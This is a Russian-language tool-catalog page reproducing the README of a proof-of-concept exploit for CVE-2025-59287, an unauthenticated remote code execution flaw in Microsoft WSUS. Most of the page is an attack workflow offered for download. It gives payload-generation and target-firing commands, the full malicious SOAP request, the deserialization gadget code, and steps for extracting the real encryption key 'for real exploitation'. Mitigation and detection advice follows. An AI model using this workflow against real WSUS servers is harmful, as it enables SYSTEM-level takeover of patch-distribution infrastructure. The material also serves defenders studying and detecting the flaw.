Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2025-59287-exploit-poc — Доказательство концепции эксплуатации для CVE-2025-59287 — критической неаутентифицированной RCE в WSUS через небезопасную десериализацию BinaryFormatter, позволяющей получить привилегии SYSTEM с помощью специально сформированных зашифрованных cookie. | Kitploit
Инструменты/GitHubGitHub/maxymgorn/cve-2025-59287-exploit-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubmaxymgorn/cve-2025-59287-exploit-poc

cve-2025-59287-exploit-poc

Доказательство концепции эксплуатации для CVE-2025-59287 — критической неаутентифицированной RCE в WSUS через небезопасную десериализацию BinaryFormatter, позволяющей получить привилегии SYSTEM с помощью специально сформированных зашифрованных cookie.

Репозиторий
19 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-59287 Эксплойт Proof-of-Concept

Обзор уязвимости

CVE-2025-59287 — это критическая уязвимость удалённого выполнения кода (RCE) в службе обновления Windows Server Update Services (WSUS) от Microsoft. Уязвимость вызвана небезопасной десериализацией данных AuthorizationCookie через BinaryFormatter в методе EncryptionHelper.DecryptData().

Воздействие: Неаутентифицированные злоумышленники могут добиться удалённого выполнения кода с привилегиями SYSTEM, отправляя вредоносные зашифрованные cookie-файлы на конечную точку GetCookie().

Оценка CVSS: Критическая (9.8)

Детали уязвимости

  • Затронутый компонент: Конечная точка WSUS ClientWebService.asmx GetCookie()
  • Основная причина: BinaryFormatter.Deserialize() вызывается для недоверенных входных данных без надлежащей проверки
  • Вектор атаки: Вредоносный зашифрованный cookie-файл, отправленный на SOAP-конечную точку GetCookie()
  • Требуется аутентификация: Нет (неаутентифицированное RCE)
  • Затронутые порты: 8530 (HTTP), 8531 (HTTPS)
  • Архитектура

    root@kitploit:~
    ┌─────────────────┐
    │   Злоумышленник │
    │                 │
    │  1. Генерация   │
    │     BinaryFmt   │
    │     Payload     │
    │                 │
    │  2. Шифрование  │
    │     Payload     │
    │                 │
    │  3. Отправка    │
    │     SOAP-запроса│
    └────────┬────────┘
             │
             ▼
    ┌─────────────────┐
    │   WSUS-сервер   │
    │                 │
    │  GetCookie()    │
    │  Endpoint       │
    │                 │
    │  DecryptData()  │◄─── Уязвимый
    │                 │
    │  BinaryFormatter│◄─── Небезопасная десериализация
    │  Deserialize()  │
    │                 │
    │  Выполнение     │◄─── RCE как SYSTEM
    │  Payload        │
    └─────────────────┘
    

    Структура файлов

    root@kitploit:~
    exploit-poc/
    ├── wsus_exploit.py                    # Основной скрипт эксплойта
    ├── BinaryFormatterPayloadGenerator.cs # Генератор .NET payload (C#)
    ├── encrypt_payload.py                 # Вспомогательный скрипт шифрования WSUS
    ├── requirements.txt                   # Зависимости Python
    └── README.md                          # Этот файл
    

    Предварительные требования

    Окружение Python

    root@kitploit:~
    pip install -r requirements.txt
    

    .NET Framework (для генерации payload)

    • Windows с .NET Framework 4.0 или новее
    • Или используйте ysoserial.net как альтернативу

    Использование

    Метод 1: Полный рабочий процесс

    Шаг 1: Генерация BinaryFormatter Payload

    Вариант A: Использование предоставленного генератора на C#

    root@kitploit:~
    # Компиляция генератора
    csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
    
    # Генерация payload
    BinaryFormatterPayloadGenerator.exe calc.exe
    # Создаёт: payload_YYYYMMDDHHMMSS.bin
    

    Вариант B: Использование ysoserial.net (рекомендуется)

    root@kitploit:~
    ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
    

    Шаг 2: Шифрование Payload

    root@kitploit:~
    python encrypt_payload.py payload.bin -o encrypted_cookie.txt
    

    ВАЖНО: Ключ шифрования в encrypt_payload.py является заглушкой. Для реальной эксплуатации необходимо:

    1. Восстановить фактический ключ шифрования из бинарных файлов WSUS
    2. Обновить encrypt_payload.py реальным ключом
    3. См. раздел «Поиск ключа шифрования WSUS» ниже

    Шаг 3: Выполнение эксплойта

    root@kitploit:~
    # Использование файла payload (будет зашифрован на лету)
    python wsus_exploit.py -t 192.168.1.100 -f payload.bin
    
    # Использование предварительно зашифрованного cookie
    python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
    
    # С HTTPS (порт 8531)
    python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
    

    Метод 2: Быстрый тест

    root@kitploit:~
    # Генерация, шифрование и эксплуатация за один раз
    BinaryFormatterPayloadGenerator.exe calc.exe
    python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin
    

    Поиск фактического ключа шифрования WSUS

    Ключ шифрования должен быть извлечён из бинарных файлов WSUS для реальной эксплуатации.

    Метод 1: Обратная разработка с dnSpy

    1. Найдите DLL-файлы WSUS:

      root@kitploit:~
      %ProgramFiles%\Update Services\WebServices\bin\
      

      Или веб-каталог IIS:

      root@kitploit:~
      %SystemDrive%\inetpub\wwwroot\wsusadmin\
      
    2. Откройте в dnSpy (бесплатный декомпилятор .NET):

      • Скачать: https://github.com/dnSpy/dnSpy
      • Откройте Microsoft.UpdateServices.WebServices.dll
    3. Найдите EncryptionHelper:

      • Перейдите к пространству имён: Microsoft.UpdateServices.WebServices
      • Найдите класс EncryptionHelper
      • Посмотрите на методы DecryptData() и EncryptData()
      • Извлеките ключ шифрования и алгоритм
    4. Типичные шаблоны:

      • Жёстко заданные массивы байтов
      • Строковые константы
      • Вывод ключа из GUID/SID машины

    Метод 2: Анализ во время выполнения

    1. Используйте WinDbg или x64dbg:

      • Установите точку останова на EncryptionHelper.DecryptData()
      • Проверьте память/регистры на предмет ключевого материала
      • Отслеживайте операции шифрования/дешифрования
    2. Используйте Process Monitor:

      • Отфильтруйте по процессу WSUS
      • Ищите доступ к реестру/конфигурационным файлам
      • Ключи могут храниться в реестре

    Метод 3: Статический анализ

    1. Используйте IDA Pro или Ghidra:

      • Загрузите бинарные файлы WSUS
      • Ищите строки, связанные с шифрованием
      • Анализируйте алгоритмы вывода ключей
    2. Используйте утилиту strings:

      root@kitploit:~
      strings Microsoft.UpdateServices.WebServices.dll | grep -i key
      strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
      

    Обновление эксплойта

    После получения фактического ключа обновите encrypt_payload.py:

    root@kitploit:~
    # Замените эту строку в encrypt_wsus_cookie():
    key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # ЗАГЛУШКА
    
    # На фактический ключ:
    key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"
    

    Или передайте его через командную строку:

    root@kitploit:~
    python encrypt_payload.py payload.bin -k "ACTUAL_KEY"
    

    Поток эксплойта

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────┐
    │ 1. Генерация BinaryFormatter Payload                        │
    │    ObjectDataProvider → Process.Start() → Выполнение команды│
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 2. Шифрование Payload                                       │
    │    AES-128-CBC с ключом шифрования WSUS                     │
    │    Кодирование Base64 для передачи                          │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 3. Создание SOAP-запроса                                    │
    │    Заголовок AuthorizationCookie содержит зашифрованный payload│
    │    Метод GetCookie() в теле SOAP                            │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 4. Отправка на конечную точку WSUS                          │
    │    POST /ClientWebService/ClientWebService.asmx              │
    │    Порт 8530 (HTTP) или 8531 (HTTPS)                        │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 5. Обработка WSUS                                           │
    │    DecryptData() расшифровывает cookie                      │
    │    BinaryFormatter.Deserialize() выполняет payload          │
    │    → RCE как SYSTEM                                         │
    └─────────────────────────────────────────────────────────────┘
    

    Структура SOAP-запроса

    root@kitploit:~
    POST /ClientWebService/ClientWebService.asmx HTTP/1.1
    Host: <TARGET>:8530
    Content-Type: text/xml; charset=utf-8
    SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
    User-Agent: WSUS Client
    
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Header>
            <AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
                BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
            </AuthorizationCookie>
        </soap:Header>
        <soap:Body>
            <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
                <cookieType>AuthorizationCookie</cookieType>
            </GetCookie>
        </soap:Body>
    </soap:Envelope>
    

    Детали генерации Payload

    Эксплойт использует цепочку гаджетов ObjectDataProvider:

    root@kitploit:~
    ObjectDataProvider provider = new ObjectDataProvider();
    provider.ObjectInstance = new Process();
    provider.MethodName = "Start";
    provider.MethodParameters = new Collection<object> { processStartInfo };
    

    Когда BinaryFormatter.Deserialize() обрабатывает это, он автоматически:

    1. Десериализует ObjectDataProvider
    2. Вызывает MethodName («Start») на ObjectInstance (Process)
    3. Передаёт MethodParameters (ProcessStartInfo)
    4. Выполняет команду с привилегиями SYSTEM

    Контрольный список тестирования

    • Сгенерировать BinaryFormatter payload
    • Извлечь/идентифицировать ключ шифрования WSUS
    • Зашифровать payload правильным ключом
    • Проверить доступность конечной точки WSUS
    • Отправить SOAP-запрос с вредоносным cookie
    • Проверить выполнение команды на цели
    • Протестировать в изолированной лабораторной среде

    Ограничения

    1. Ключ шифрования: Ключ-заглушка не будет работать на реальных системах. Необходимо извлечь фактический ключ.
    2. BinaryFormatter Payload: Требуется .NET Framework или ysoserial.net для генерации.
    3. Сетевой доступ: Должен быть сетевой доступ к конечной точке WSUS (порты 8530/8531).
    4. Версия WSUS: Поведение может различаться в зависимости от версий WSUS.

    Смягчение последствий

    Немедленные действия

    1. Примените обновление безопасности Microsoft: Немедленно установите патч

      • Проверьте бюллетень безопасности Microsoft
      • Обновите WSUS до исправленной версии
    2. Временное решение: Заблокируйте порты, если WSUS не нужен

      root@kitploit:~
      # Блокировка входящего трафика на портах WSUS
      New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
      
    3. Сегментация сети: Ограничьте доступ к конечным точкам WSUS

      • Разрешайте доступ только с авторизованных серверов обновлений
      • Используйте правила брандмауэра для ограничения исходных IP-адресов

    Долгосрочные исправления

    1. Замена BinaryFormatter: Microsoft должна заменить его безопасной сериализацией

      • Используйте System.Text.Json или System.Xml.Serialization с проверкой типов
      • Внедрите строгий список разрешённых типов
    2. Проверка входных данных: Добавьте комплексную проверку

      • Проверяйте все данные cookie перед десериализацией
      • Отклоняйте неожиданные типы/схемы
    3. Принцип минимальных привилегий: Запускайте службы WSUS с минимальными привилегиями

      • Не запускайте как SYSTEM, если это возможно
      • Используйте сервисные учётные записи с ограниченными разрешениями

    Обнаружение

    Индикаторы компрометации (IoC)

    • Необычный сетевой трафик на порты 8530/8531
    • SOAP-запросы с заголовками AuthorizationCookie в кодировке Base64
    • Неожиданное выполнение процессов из контекста службы WSUS
    • Исключения десериализации BinaryFormatter в журналах WSUS

    Анализ журналов

    Проверьте журналы WSUS на наличие:

    root@kitploit:~
    %ProgramFiles%\Update Services\LogFiles\
    

    Ищите:

    • Ошибки SOAP-запросов
    • Исключения десериализации
    • Попытки несанкционированного доступа

    Мониторинг сети

    Отслеживайте:

    • SOAP-запросы к /ClientWebService/ClientWebService.asmx
    • Большие payload в кодировке Base64 в заголовках AuthorizationCookie
    • Необычное выполнение команд из службы WSUS

    Правовое уведомление

    ⚠️ ПРЕДУПРЕЖДЕНИЕ: Этот код эксплойта предоставлен только для авторизованного тестирования безопасности.

    • ✅ Законное использование:

      • Тестирование собственных систем
      • Авторизованное тестирование на проникновение
      • Исследования безопасности с разрешения
      • Образовательные цели в контролируемых средах
    • ❌ Незаконное использование:

      • Несанкционированный доступ к системам
      • Вредоносные атаки
      • Нарушение законов о компьютерном мошенничестве
      • Любое использование без явного разрешения

    Несанкционированное использование этого эксплойта может привести к уголовному преследованию. Используйте ответственно и этично.

    Ссылки

    • CVE-2025-59287: Официальная запись CVE
    • Бюллетень безопасности Microsoft: Проверьте официальный патч и рекомендации
    • Руководство по безопасности BinaryFormatter: https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide
    • ysoserial.net: https://github.com/pwntester/ysoserial.net

    Авторы

    • Уязвимость обнаружена исследователями безопасности
    • PoC разработан для образовательных и авторизованных целей тестирования

    История версий

    • v1.0: Первоначальный выпуск PoC
      • Основной скрипт эксплойта
      • Генератор payload на .NET
      • Вспомогательный скрипт шифрования
      • Документация

    Помните: Всегда тестируйте в изолированных, контролируемых средах. Никогда не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

    Скачать инструмент